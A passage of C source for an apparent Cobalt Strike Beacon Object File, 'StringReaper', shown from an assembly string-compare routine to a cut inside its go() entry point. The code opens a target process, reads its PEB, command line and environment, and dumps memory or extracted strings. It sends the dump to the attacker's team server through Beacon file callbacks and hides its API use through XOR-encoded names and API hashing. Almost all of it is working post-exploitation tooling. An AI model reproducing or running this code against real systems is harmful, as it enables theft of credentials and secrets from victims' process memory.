stringsize 486 | "repe cmpsb\n" // Compare strings at RDI & RSI 487 | "je stringmatch\n" // If match then we found the API string. Now we need to find the Address of the API 488 | "xor rax, rax\n" // If does not match return -1 489 | "or rax, 0x01\n" // RAX = -1 490 | "jmp endstrcmp \n" 491 | "stringmatch:\n" 492 | "xor rax, rax\n" // If string match return 0 493 | "endstrcmp: \n" 494 | "pop rdi \n" // restore 495 | "pop rsi \n" // restore 496 | "ret\n" 497 | ); -------------------------------------------------------------------------------- /StringReaper.c: -------------------------------------------------------------------------------- 1 | #include "StringReaper.h" 2 | 3 | void xorc(unsigned __int64 length, unsigned char * buff, unsigned char maskkey) { 4 | int i; 5 | for (i = 0; i < length; ++i) { 6 | buff[i] ^= maskkey; 7 | } 8 | } 9 | 10 | void getExportTables(DL * dll){ 11 | void *ExportDirectory; 12 | ExportDirectory = NULL; 13 | ExportDirectory = ADD(char*, dll->dllBase, DREF32(dll->dllBase + 0x3C)); 14 | ExportDirectory = ADD(char*, dll->dllBase, DREF32(ExportDirectory + 0x88)); 15 | dll->Export.Directory = ExportDirectory; 16 | dll->Export.AddressTable = ADD(char*, dll->dllBase, DREF32(ExportDirectory + 0x1C)); 17 | dll->Export.NameTable = ADD(char*, dll->dllBase, DREF32(ExportDirectory + 0x20)); 18 | dll->Export.OrdinalTable = ADD(char*, dll->dllBase, DREF32(ExportDirectory + 0x24)); 19 | } 20 | 21 | char bofError = noError; 22 | 23 | long WINAPI VectoredHandler(struct _EXCEPTION_POINTERS *ExceptionInfo) { 24 | //BeaconPrintf(CALLBACK_OUTPUT,"VectoredHandler"); 25 | char tmpErr = Error; 26 | bofError = tmpErr; 27 | PCONTEXT Context; 28 | Context = ExceptionInfo->ContextRecord; 29 | Context->Rip++; 30 | return EXCEPTION_CONTINUE_EXECUTION; 31 | } 32 | 33 | void getRemotePEB(PEB * peb, ntapis * nt, HANDLE hProc, formatp * stringFormatObject){ 34 | DWORD retLen; 35 | SIZE_T dwBytesRead; 36 | PROCESS_BASIC_INFORMATION pbi; 37 | long status = 0xFF; 38 | long err = 0x00; 39 | status = nt->NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen); 40 | KERNEL32$Sleep(100); 41 | if(status != STATUS_SUCCESS){ 42 | BeaconPrintf(CALLBACK_ERROR,"@QueryInfoProc"); 43 | err = 0x01; 44 | goto exit; 45 | } 46 | BeaconFormatPrintf(stringFormatObject,"PEB Base Address: %p\n",pbi.PebBaseAddress); 47 | 48 | // Get the ProcessParameters struct address 49 | status = nt->NtReadVirtualMemory(hProc, (PVOID)pbi.PebBaseAddress, peb, sizeof(PEB), &dwBytesRead); 50 | KERNEL32$Sleep(100); 51 | BeaconFormatPrintf(stringFormatObject,"peb.ProcessParameters: %p\n",peb->ProcessParameters); 52 | if(status != STATUS_SUCCESS){ 53 | BeaconPrintf(CALLBACK_ERROR,"@ReadVM 1"); 54 | err = 0x01; 55 | goto exit; 56 | } 57 | exit: 58 | return; 59 | } 60 | 61 | void parsePeb(PEB * peb, formatp * stringFormatObject){ 62 | BeaconFormatPrintf(stringFormatObject,"[+] PEB Parser\n"); 63 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.BeingDebugged: %d\n",peb->BeingDebugged); 64 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.ImageBaseAddress: %p\n",peb->ImageBaseAddress); 65 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.PEB_LDR_DATA: %p\n",peb->Ldr); 66 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.ProcessParameters: %p\n",peb->ProcessParameters); 67 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.KernelCallbackTable: %p\n",peb->KernelCallbackTable); 68 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.ReadOnlySharedMemoryBase: %p\n",peb->ReadOnlySharedMemoryBase); 69 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.NumberOfProcessors: %d\n",peb->NumberOfProcessors); 70 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.NumberOfHeaps: %d\n",peb->NumberOfHeaps); 71 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.MaximumNumberOfHeaps: %d\n",peb->MaximumNumberOfHeaps); 72 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.ProcessHeaps: %p\n",peb->ProcessHeaps); 73 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.LoaderLock: %p\n",peb->LoaderLock); 74 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.MaximumNumberOfHeaps: %d\n",peb->MaximumNumberOfHeaps); 75 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.OSMajorVersion: %d\n",peb->OSMajorVersion); 76 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.OSMinorVersion: %d\n",peb->OSMinorVersion); 77 | BeaconFormatPrintf(stringFormatObject,"|_ PEB.OSBuildNumber: %d\n",peb->OSBuildNumber); 78 | } 79 | 80 | void getRemoteProcessParams(RTL_USER_PROCESS_PARAMETERS * ProcessParams, PEB * peb, ntapis * nt, HANDLE hProc, formatp * stringFormatObject){ 81 | SIZE_T dwBytesRead = 0; 82 | long status = 0xFF; 83 | status = nt->NtReadVirtualMemory(hProc, peb->ProcessParameters, ProcessParams, sizeof(RTL_USER_PROCESS_PARAMETERS), &dwBytesRead); 84 | return; 85 | } 86 | 87 | wchar_t* getRemoteUnicodeString(void * pRemoteUnicodeString, unsigned long size_RemoteUnicodeString, ntapis * nt, HANDLE hProc, formatp * stringFormatObject){ 88 | wchar_t * uBuffer = NULL; 89 | SIZE_T dwBytesRead = 0; 90 | long status = 0xFF; 91 | uBuffer = (wchar_t*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, size_RemoteUnicodeString+2); 92 | status = nt->NtReadVirtualMemory(hProc, pRemoteUnicodeString, (void*)uBuffer, size_RemoteUnicodeString, &dwBytesRead); 93 | //BeaconFormatPrintf(stringFormatObject,"uBuffer: %ws\n",uBuffer); 94 | return uBuffer; 95 | } 96 | 97 | void printEnvStrings(RTL_USER_PROCESS_PARAMETERS * ProcessParams, ntapis * nt, HANDLE hProc, formatp * stringFormatObject){ 98 | void* nextEnvString; 99 | SIZE_T dwBytesRead = 0; 100 | long status = 0xFF; 101 | unsigned long environmentSize = 0; 102 | void* unicodeStrSize = NULL; 103 | unsigned char * envBuffer = NULL; 104 | environmentSize = ProcessParams->EnvironmentSize; 105 | envBuffer = (unsigned char *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, environmentSize+2); 106 | status = nt->NtReadVirtualMemory(hProc, ProcessParams->Environment, (void*)envBuffer, environmentSize, &dwBytesRead);; 107 | nextEnvString = envBuffer; 108 | 109 | BeaconFormatPrintf(stringFormatObject,"[+] Process Environment Strings\n"); 110 | void* environmentEndAddr = nextEnvString + environmentSize; 111 | while (nextEnvString < environmentEndAddr) { 112 | BeaconFormatPrintf(stringFormatObject, "%ws\n",nextEnvString); 113 | unicodeStrSize = getUnicodeStrLen(nextEnvString)+2; 114 | nextEnvString += (unsigned __int64)unicodeStrSize; 115 | } 116 | } 117 | 118 | void parseRemoteProcessParams(RTL_USER_PROCESS_PARAMETERS * ProcessParams, ntapis * nt, HANDLE hProc, formatp * stringFormatObject){ 119 | wchar_t * ImagePathName = NULL; 120 | wchar_t * CommandLine = NULL; 121 | wchar_t * WindowTitle = NULL; 122 | wchar_t * DesktopInfo = NULL; 123 | wchar_t * ShellInfo = NULL; 124 | wchar_t * RuntimeData = NULL; 125 | BeaconFormatPrintf(stringFormatObject,"[+] PEB.ProcessParams Parser\n"); 126 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.Environment: %p\n",ProcessParams->Environment); 127 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.EnvironmentSize: %d\n",ProcessParams->EnvironmentSize); 128 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.ImagePathName.Buffer: %p\n",ProcessParams->ImagePathName.Buffer); 129 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.ImagePathName.Length: %d\n",ProcessParams->ImagePathName.Length); 130 | 131 | ImagePathName = getRemoteUnicodeString(ProcessParams->ImagePathName.Buffer, ProcessParams->ImagePathName.Length, nt, hProc, stringFormatObject); 132 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.ImagePathName: %ws\n",ImagePathName); 133 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, ImagePathName); 134 | 135 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.CommandLine.Buffer: %p\n",ProcessParams->CommandLine.Buffer); 136 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.CommandLine.Length: %d\n",ProcessParams->CommandLine.Length); 137 | CommandLine = getRemoteUnicodeString(ProcessParams->CommandLine.Buffer, ProcessParams->CommandLine.Length, nt, hProc, stringFormatObject); 138 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.CommandLine: %ws\n",CommandLine); 139 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, CommandLine); 140 | 141 | WindowTitle = getRemoteUnicodeString(ProcessParams->WindowTitle.Buffer, ProcessParams->WindowTitle.Length, nt, hProc, stringFormatObject); 142 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.WindowTitle: %ws\n",WindowTitle); 143 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, WindowTitle); 144 | 145 | DesktopInfo = getRemoteUnicodeString(ProcessParams->DesktopInfo.Buffer, ProcessParams->DesktopInfo.Length, nt, hProc, stringFormatObject); 146 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.DesktopInfo: %ws\n",DesktopInfo); 147 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, DesktopInfo); 148 | 149 | ShellInfo = getRemoteUnicodeString(ProcessParams->ShellInfo.Buffer, ProcessParams->ShellInfo.Length, nt, hProc, stringFormatObject); 150 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.ShellInfo: %ws\n",ShellInfo); 151 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, ShellInfo); 152 | 153 | RuntimeData = getRemoteUnicodeString(ProcessParams->RuntimeData.Buffer, ProcessParams->RuntimeData.Length, nt, hProc, stringFormatObject); 154 | BeaconFormatPrintf(stringFormatObject,"|_ ProcessParams.RuntimeData: %ws\n",RuntimeData); 155 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, RuntimeData); 156 | } 157 | 158 | wchar_t * getCLI(PEB * peb, ntapis * nt, HANDLE hProc, formatp * stringFormatObject){ 159 | RTL_USER_PROCESS_PARAMETERS ProcessParams; 160 | SIZE_T dwBytesRead = 0; 161 | unsigned __int64 qwSize = 4096; 162 | wchar_t * clistring = NULL; 163 | long status = 0xFF; 164 | long err = 0x00; 165 | clistring = (wchar_t*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, qwSize); 166 | if(clistring == NULL){ 167 | BeaconPrintf(CALLBACK_ERROR,"@HeapAlloc"); 168 | err = 0x01; 169 | goto exitbof3; 170 | } 171 | 172 | // Get the address of the command line string 173 | status = nt->NtReadVirtualMemory(hProc, peb->ProcessParameters, &ProcessParams, sizeof(RTL_USER_PROCESS_PARAMETERS), &dwBytesRead); 174 | dwBytesRead = 0; 175 | 176 | // Get the command line string 177 | status = nt->NtReadVirtualMemory(hProc, ProcessParams.CommandLine.Buffer, (PVOID)clistring, ProcessParams.CommandLine.Length, &dwBytesRead); 178 | KERNEL32$Sleep(100); 179 | if(status != STATUS_SUCCESS){ 180 | BeaconPrintf(CALLBACK_ERROR,"@ReadVM 3"); 181 | err = 0x01; 182 | goto exitbof3; 183 | } 184 | 185 | exitbof3: 186 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, clistring); 187 | 188 | return clistring; 189 | } 190 | 191 | void parseStrings(formatp *stringFormatObject, char *memory_buffer, unsigned __int64 memory_size) { 192 | BeaconFormatPrintf(stringFormatObject, "memory_buffer: 0x%p\nmemory_size: %llu\n", memory_buffer, memory_size); 193 | 194 | unsigned __int64 memcounter_original = 0; 195 | unsigned __int64 memcounter_strings = 0; 196 | unsigned __int64 strsize = 0; 197 | 198 | char *strings_buffer = intAlloc(memory_size); // Allocate buffer for output 199 | unsigned __int64 temp_start = 0; // Track the start of a potential string 200 | 201 | while (memcounter_original < memory_size) { 202 | unsigned char this_byte = memory_buffer[memcounter_original]; 203 | unsigned char next_byte = (memcounter_original + 1 < memory_size) ? memory_buffer[memcounter_original + 1] : 0; 204 | 205 | // Detect ASCII characters 206 | if (this_byte >= 0x20 && this_byte <= 0x7E) { 207 | if (strsize == 0) temp_start = memcounter_strings; // Mark string start 208 | strings_buffer[memcounter_strings++] = this_byte; 209 | strsize++; 210 | } 211 | // Detect UTF-16 Little Endian that can be converted to ASCII 212 | else if (this_byte == 0x00 && next_byte >= 0x20 && next_byte <= 0x7E) { 213 | if (strsize == 0) temp_start = memcounter_strings; // Mark string start 214 | strings_buffer[memcounter_strings++] = next_byte; // Store ASCII equivalent 215 | strsize++; 216 | memcounter_original++; // Skip the NULL byte in UTF-16 217 | } 218 | // End of a valid string, add a newline separator 219 | else if (strsize > 0) { 220 | if (strsize >= 8) { // Only keep strings of 8 or more characters 221 | strings_buffer[memcounter_strings++] = '\n'; // Separate extracted strings 222 | } else { 223 | // Roll back if the string is too short 224 | memcounter_strings = temp_start; 225 | } 226 | strsize = 0; 227 | } 228 | 229 | memcounter_original++; 230 | } 231 | 232 | // Ensure the buffer ends with a newline 233 | if (memcounter_strings > 0 && strings_buffer[memcounter_strings - 1] != '\n') { 234 | strings_buffer[memcounter_strings++] = '\n'; 235 | } 236 | 237 | BeaconFormatPrintf(stringFormatObject, "memcounter_strings: %llu\n", memcounter_strings); 238 | 239 | // Trim unused memory 240 | strings_buffer = intRealloc(strings_buffer, memcounter_strings); 241 | 242 | // Save extracted strings to file 243 | char *fileName = "memstrings.bin"; 244 | downloadFile(fileName, 14, strings_buffer, memcounter_strings); 245 | 246 | // Free allocated memory 247 | intFree(strings_buffer); 248 | } 249 | 250 | void listMemorySections(ntapis * nt, HANDLE hProc, formatp * stringFormatObject, int memmode, int option, char * option2){ 251 | long status = 0xFF; 252 | void * current_address = 0x0; 253 | void * base_address = 0x0; 254 | SIZE_T region_size; 255 | MEMORY_INFORMATION_CLASS mic = 0; 256 | MEMORY_BASIC_INFORMATION mbi; 257 | SIZE_T dwBytesRead = 0; 258 | char * copied_memory_buffer = NULL; 259 | unsigned __int64 memory_index = 0x0; 260 | unsigned __int64 memory_size_counter = 0x0; 261 | int counter = 0x0; 262 | void * heapbuffer_write_index = NULL; 263 | //BeaconFormatPrintf(stringFormatObject, "memory_size_counter: %d\n",memory_size_counter); 264 | while (TRUE) 265 | { 266 | status = nt->NtQueryVirtualMemory(hProc, (PVOID)current_address, mic, &mbi, sizeof(mbi), NULL); 267 | if(status != STATUS_SUCCESS) 268 | { 269 | break; 270 | } 271 | base_address = mbi.BaseAddress; 272 | region_size = mbi.RegionSize; 273 | 274 | current_address = base_address + region_size; 275 | // Only display committed pages. Not freed and reserved memory pages 276 | if (mbi.State == MEM_COMMIT) 277 | //if (mbi.State == MEM_COMMIT && region_size > 0x600000) 278 | //if (mbi.State == MEM_COMMIT && region_size > 1000000) 279 | { 280 | char* type = NULL; 281 | if (mbi.Type == 0x1000000){ 282 | type = "Image"; 283 | if (option == 2){continue;} 284 | if (option == 4){continue;} 285 | } 286 | else if (mbi.Type == 0x40000){ 287 | type = "Mapped"; 288 | if (option == 2){continue;} 289 | if (option == 3){continue;} 290 | } 291 | else if (mbi.Type == 0x20000){ 292 | type = "Private"; 293 | if (option == 3){continue;} 294 | if (option == 4){continue;} 295 | } 296 | else { 297 | type = "UNKNOWN"; 298 | if (option == 2){continue;} 299 | if (option == 3){continue;} 300 | if (option == 4){continue;} 301 | } 302 | 303 | if (xstrcmp("all",option2,3) != 0x00 ){ 304 | if (xstrcmp("rwx",option2,3) == 0x00 ){ 305 | if (mbi.Protect != 0x40){continue;} 306 | } 307 | else if (xstrcmp("rw",option2,2) == 0x00 ){ 308 | if (mbi.Protect != 0x04){continue;} 309 | } 310 | else if (xstrcmp("r",option2,1) == 0x00 ){ 311 | if (mbi.Protect != 0x02){continue;} 312 | } 313 | } 314 | char* protections = NULL; 315 | if (mbi.Protect == 0x10){ 316 | protections = "PAGE_EXECUTE"; 317 | } 318 | else if (mbi.Protect == 0x20){ 319 | protections = "PAGE_EXECUTE_READ"; 320 | } 321 | else if (mbi.Protect == 0x40){ 322 | protections = "PAGE_EXECUTE_READWRITE"; 323 | } 324 | else if (mbi.Protect == 0x80){ 325 | protections = "PAGE_EXECUTE_WRITECOPY"; 326 | } 327 | else if (mbi.Protect == 0x01){ 328 | protections = "PAGE_NOACCESS"; 329 | } 330 | else if (mbi.Protect == 0x02){ 331 | protections = "PAGE_READONLY"; 332 | } 333 | else if (mbi.Protect == 0x04){ 334 | protections = "PAGE_READWRITE"; 335 | } 336 | else if (mbi.Protect == 0x08){ 337 | protections = "PAGE_WRITECOPY"; 338 | } 339 | else if (mbi.Protect == 0x40000000){ 340 | protections = "PAGE_TARGETS_INVALID"; 341 | } 342 | else if (mbi.Protect == 0x40000000){ 343 | protections = "PAGE_TARGETS_NO_UPDATE"; 344 | } 345 | else { 346 | protections = "UNKNOWN"; 347 | } 348 | // "Address: 0x%p / %-20d | DataSize: 0x%-12llx / %-16d | State: 0x%-10lx | Protect: 0x%-4lx | Type: %-8s / 0x%-8lx\n", 349 | BeaconFormatPrintf( 350 | stringFormatObject, 351 | "0x%p / %-16d | 0x%-10llx / %-8u | %-8s | %-26s / 0x%-8lx \n", 352 | base_address, 353 | base_address, 354 | region_size, 355 | region_size, 356 | type, 357 | protections, 358 | mbi.Protect); 359 | memory_index = memory_index + memory_size_counter; // this is the start of the new buffer after we reallocate to bigger memory buffer in heap 360 | //BeaconFormatPrintf(stringFormatObject, "memory_index: %d\n",memory_index); 361 | memory_size_counter = memory_size_counter + (__int64)region_size; // this is the current total size of the memory we will copy to the heap buffer before we download it 362 | // BeaconFormatPrintf(stringFormatObject, "memory_size_counter: %d\n",memory_size_counter); 363 | 364 | if (memmode == 0x02 || memmode == 0x03){ 365 | // copied_memory_buffer = (unsigned char *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, region_size+2); 366 | //BeaconFormatPrintf(stringFormatObject, "counter: %d\n",counter); 367 | if (counter == 0x00){ 368 | copied_memory_buffer = (unsigned char *)intAlloc(memory_size_counter); 369 | // BeaconFormatPrintf(stringFormatObject, "initial alloc for copied_memory_buffer address: %p\n",copied_memory_buffer); 370 | }else{ 371 | copied_memory_buffer = intRealloc(copied_memory_buffer,memory_size_counter); 372 | //BeaconFormatPrintf(stringFormatObject, "realloc for copied_memory_buffer address: %p\n",copied_memory_buffer); 373 | } 374 | 375 | heapbuffer_write_index = (void*)ADD(char*,copied_memory_buffer, memory_index); 376 | // BeaconFormatPrintf(stringFormatObject, "heapbuffer_write_index: %p\n",heapbuffer_write_index); 377 | status = nt->NtReadVirtualMemory(hProc, base_address, copied_memory_buffer, region_size, &dwBytesRead); 378 | //BeaconFormatPrintf(stringFormatObject, "NtReadVirtualMemory status: %d\n",status); 379 | counter++; 380 | } 381 | //if (counter == 0x4){break;} 382 | } 383 | } 384 | if (memmode == 0x02 ){ 385 | char * fileName = "memdump.bin"; 386 | downloadFile(fileName, 11, copied_memory_buffer, memory_size_counter); 387 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, copied_memory_buffer); 388 | return; 389 | } 390 | if (memmode == 0x03 ){ 391 | //BeaconFormatPrintf(stringFormatObject, "copied_memory_buffer: 0x%p\nmemory_size_counter: %d\n",copied_memory_buffer,memory_size_counter); 392 | parseStrings(stringFormatObject, (char *) copied_memory_buffer, memory_size_counter); 393 | KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, copied_memory_buffer); 394 | return; 395 | } 396 | BeaconFormatPrintf(stringFormatObject, "Total selected memory size: 0x%X / %d\n",memory_size_counter,memory_size_counter); 397 | } 398 | 399 | //credit @anthemtotheego and @binaryfaultline - from Hawkins' PR to CredBandit 400 | void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { 401 | 402 | //Intializes random number generator to create fileId 403 | time_t t; 404 | MSVCRT$srand((unsigned)MSVCRT$time(&t)); 405 | int fileId = MSVCRT$rand(); 406 | 407 | //8 bytes for fileId and fileSize 408 | int messageLength = downloadFileNameLength + 8; 409 | char* packedData = (char*)MSVCRT$malloc(messageLength); 410 | 411 | //pack on fileId as 4-byte int first 412 | packedData[0] = (fileId >> 24) & 0xFF; 413 | packedData[1] = (fileId >> 16) & 0xFF; 414 | packedData[2] = (fileId >> 8) & 0xFF; 415 | packedData[3] = fileId & 0xFF; 416 | 417 | //pack on fileSize as 4-byte int second 418 | packedData[4] = (fileSize >> 24) & 0xFF; 419 | packedData[5] = (fileSize >> 16) & 0xFF; 420 | packedData[6] = (fileSize >> 8) & 0xFF; 421 | packedData[7] = fileSize & 0xFF; 422 | 423 | int packedIndex = 8; 424 | 425 | //pack on the file name last 426 | for (int i = 0; i < downloadFileNameLength; i++) { 427 | packedData[packedIndex] = fileName[i]; 428 | packedIndex++; 429 | } 430 | 431 | BeaconOutput(CALLBACK_FILE, packedData, messageLength); 432 | 433 | if (fileSize > (1024 * 900)) { 434 | 435 | //Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk) 436 | int numOfChunks = (fileSize / (1024 * 900)) + 1; 437 | int index = 0; 438 | int chunkSize = 1024 * 900; 439 | 440 | while (index < fileSize) { 441 | if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on 442 | 443 | /*First 4 are the fileId 444 | then account for length of file 445 | then a byte for the good-measure null byte to be included 446 | then lastly is the 4-byte int of the fileSize*/ 447 | int chunkLength = 4 + chunkSize; 448 | char* packedChunk = (char*)MSVCRT$malloc(chunkLength); 449 | 450 | //pack on fileId as 4-byte int first 451 | packedChunk[0] = (fileId >> 24) & 0xFF; 452 | packedChunk[1] = (fileId >> 16) & 0xFF; 453 | packedChunk[2] = (fileId >> 8) & 0xFF; 454 | packedChunk[3] = fileId & 0xFF; 455 | 456 | int chunkIndex = 4; 457 | 458 | //pack on the file name last 459 | for (int i = index; i < index + chunkSize; i++) { 460 | packedChunk[chunkIndex] = returnData[i]; 461 | chunkIndex++; 462 | } 463 | 464 | BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); 465 | MSVCRT$free((void*)packedChunk); 466 | } 467 | else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements 468 | 469 | int lastChunkLength = fileSize - index + 4; 470 | char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength); 471 | 472 | //pack on fileId as 4-byte int first 473 | lastChunk[0] = (fileId >> 24) & 0xFF; 474 | lastChunk[1] = (fileId >> 16) & 0xFF; 475 | lastChunk[2] = (fileId >> 8) & 0xFF; 476 | lastChunk[3] = fileId & 0xFF; 477 | int lastChunkIndex = 4; 478 | 479 | //pack on the file name last 480 | for (int i = index; i < fileSize; i++) { 481 | lastChunk[lastChunkIndex] = returnData[i]; 482 | lastChunkIndex++; 483 | } 484 | BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength); 485 | MSVCRT$free((void*)lastChunk); 486 | } 487 | index = index + chunkSize; 488 | } 489 | } 490 | else { 491 | 492 | /*first 4 are the fileId 493 | then account for length of file 494 | then a byte for the good-measure null byte to be included 495 | then lastly is the 4-byte int of the fileSize*/ 496 | int chunkLength = 4 + fileSize; 497 | char* packedChunk = (char*)MSVCRT$malloc(chunkLength); 498 | 499 | //pack on fileId as 4-byte int first 500 | packedChunk[0] = (fileId >> 24) & 0xFF; 501 | packedChunk[1] = (fileId >> 16) & 0xFF; 502 | packedChunk[2] = (fileId >> 8) & 0xFF; 503 | packedChunk[3] = fileId & 0xFF; 504 | int chunkIndex = 4; 505 | 506 | //pack on the file name last 507 | for (int i = 0; i < fileSize; i++) { 508 | packedChunk[chunkIndex] = returnData[i]; 509 | chunkIndex++; 510 | } 511 | 512 | BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); 513 | MSVCRT$free((void*)packedChunk); 514 | } 515 | 516 | 517 | //We need to tell the teamserver that we are done writing to this fileId 518 | char packedClose[4]; 519 | 520 | //pack on fileId as 4-byte int first 521 | packedClose[0] = (fileId >> 24) & 0xFF; 522 | packedClose[1] = (fileId >> 16) & 0xFF; 523 | packedClose[2] = (fileId >> 8) & 0xFF; 524 | packedClose[3] = fileId & 0xFF; 525 | BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); 526 | 527 | return; 528 | } 529 | 530 | void go(char * args, int len) { 531 | formatp stringFormatObject; // Cobalt Strike beacon format object we will pass strings too 532 | BeaconFormatAlloc(&stringFormatObject, 312 * 1024); // allocate memory for our string blob 533 | datap parser; 534 | SIZE_T pid; 535 | char * mode = NULL; 536 | char * option = NULL; 537 | char * option2 = NULL; 538 | BeaconDataParse(&parser, args, len); 539 | pid = BeaconDataInt(&parser); 540 | mode = BeaconDataExtract(&parser, NULL); 541 | option = BeaconDataExtract(&parser, NULL); 542 | option2 = BeaconDataExtract(&parser, NULL); 543 | HANDLE hProc = NULL; 544 | OBJECT_ATTRIBUTES oa={sizeof(oa),0,NULL,0}; 545 | CLIENT_ID cid = {0}; 546 | cid.pid = NULL; 547 | cid.UniqueThread = NULL; 548 | cid.pid = (HANDLE)pid; 549 | wchar_t* clistring = NULL; 550 | PEB peb = {0}; 551 | RTL_USER_PROCESS_PARAMETERS ProcessParams = {0}; 552 | DL ntdll = {0}; 553 | long status = 0xFF; 554 | long err = 0x00; 555 | ntapis nt = {0}; 556 | nt.NtOpenProcess = NULL; 557 | nt.NtReadVirtualMemory = NULL; 558 | nt.NtQueryInformationProcess = NULL; 559 | nt.NtClose = NULL; 560 | nt.NtQueryVirtualMemory = NULL; 561 | 562 | PVOID h1 = KERNEL32$AddVectoredExceptionHandler(1,(PVECTORED_EXCEPTION_HANDLER)VectoredHandler); 563 | 564 | // Get Base Address of ntdll.dll 565 | ntdll.dllBase = NULL; 566 | unsigned char ws_nt[] = {0xd2,0xBC,0xc8,0xBC,0xd8,0xBC,0xd0,0xBC,0xd0,0xBC,0x92,0xBC,0xd8,0xBC,0xd0,0xBC,0xd0,0xBC,0xBC}; // L"ntdll.dll" xor 0xBC 567 | xorc(19, ws_nt, XORKEY); 568 | ntdll.dllBase = (void*)getDllBase(ws_nt); 569 | if(ntdll.dllBase == NULL || bofError == Error){ 570 | err = 0x01; 571 | goto exitbof1; 572 | } 573 | 574 | getExportTables(&ntdll); 575 | 576 | nt.NtOpenProcess = (tNtOpenProcess) hash2Address(0x2002dd17d403f81e, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 577 | if(nt.NtOpenProcess == NULL){ 578 | err = 0x01; 579 | goto exitbof1; 580 | } 581 | 582 | nt.NtReadVirtualMemory = (tNtReadVirtualMemory) hash2Address(0x0d11fbf62b0d1006, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 583 | if(nt.NtReadVirtualMemory == NULL){ 584 | err = 0x01; 585 | goto exitbof1; 586 | } 587 | 588 | nt.NtQueryInformationProcess = (tNtQueryInformationProcess) hash2Address(0x400911060235eafb, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 589 | if(nt.NtQueryInformationProcess == NULL){ 590 | err = 0x01; 591 | goto exitbof1; 592 | } 593 | 594 | nt.NtClose = (tNtClose) hash2Address(0x2a07331c1f031500, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 595 | if(nt.NtClose == NULL){ 596 | err = 0x01; 597 | goto exitbof1; 598 | } 599 | 600 | nt.NtQueryVirtualMemory = (tNtQueryVirtualMemory) hash2Address(0x1e26fb340527f306, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 601 | if(nt.NtQueryVirtualMemory == NULL){ 602 | err = 0x01; 603 | goto exitbof1; 604 | } 605 | BeaconPrintf(CALLBACK_OUTPUT,"readProcess BOF (Bobby Cooke|@0xBoku|github.com/boku7|linkedin.com/in/bobby-cooke/)"); 606 | // Open a handle to the target process 607 | status = nt.NtOpenProcess(&hProc, GENERIC_READ, &oa, &cid); 608 | if(status != STATUS_SUCCESS){ 609 | BeaconFormatPrintf(&stringFormatObject, "Failed to open a handle to %d (PID)\n",cid.pid); 610 | err = 0x01; 611 | goto exitbof1; 612 | } 613 | BeaconFormatPrintf(&stringFormatObject, "Opened a handle to %d (PID)\n",cid.pid); 614 | 615 | BeaconFormatPrintf(&stringFormatObject, "Mode: %s\n",mode); 616 | 617 | // PEB Mode 618 | if ( xstrcmp("peb",mode,3) == 0x00 ){ 619 | BeaconFormatPrintf(&stringFormatObject, "Getting remote PEB \n"); 620 | getRemotePEB(&peb, &nt, hProc, &stringFormatObject); 621 | parsePeb(&peb, &stringFormatObject); 622 | getRemoteProcessParams(&ProcessParams, &peb, &nt, hProc, &stringFormatObject); 623 | parseRemoteProcessParams(&ProcessParams, &nt, hProc, &stringFormatObject); 624 | goto exitbof1; 625 | } 626 | if ( xstrcmp("env",mode,3) == 0x00 ){ 627 | BeaconFormatPrintf(&stringFormatObject, "Getting remote env strings \n"); 628 | getRemotePEB(&peb, &nt, hProc, &stringFormatObject); 629 | getRemoteProcessParams(&ProcessParams, &peb, 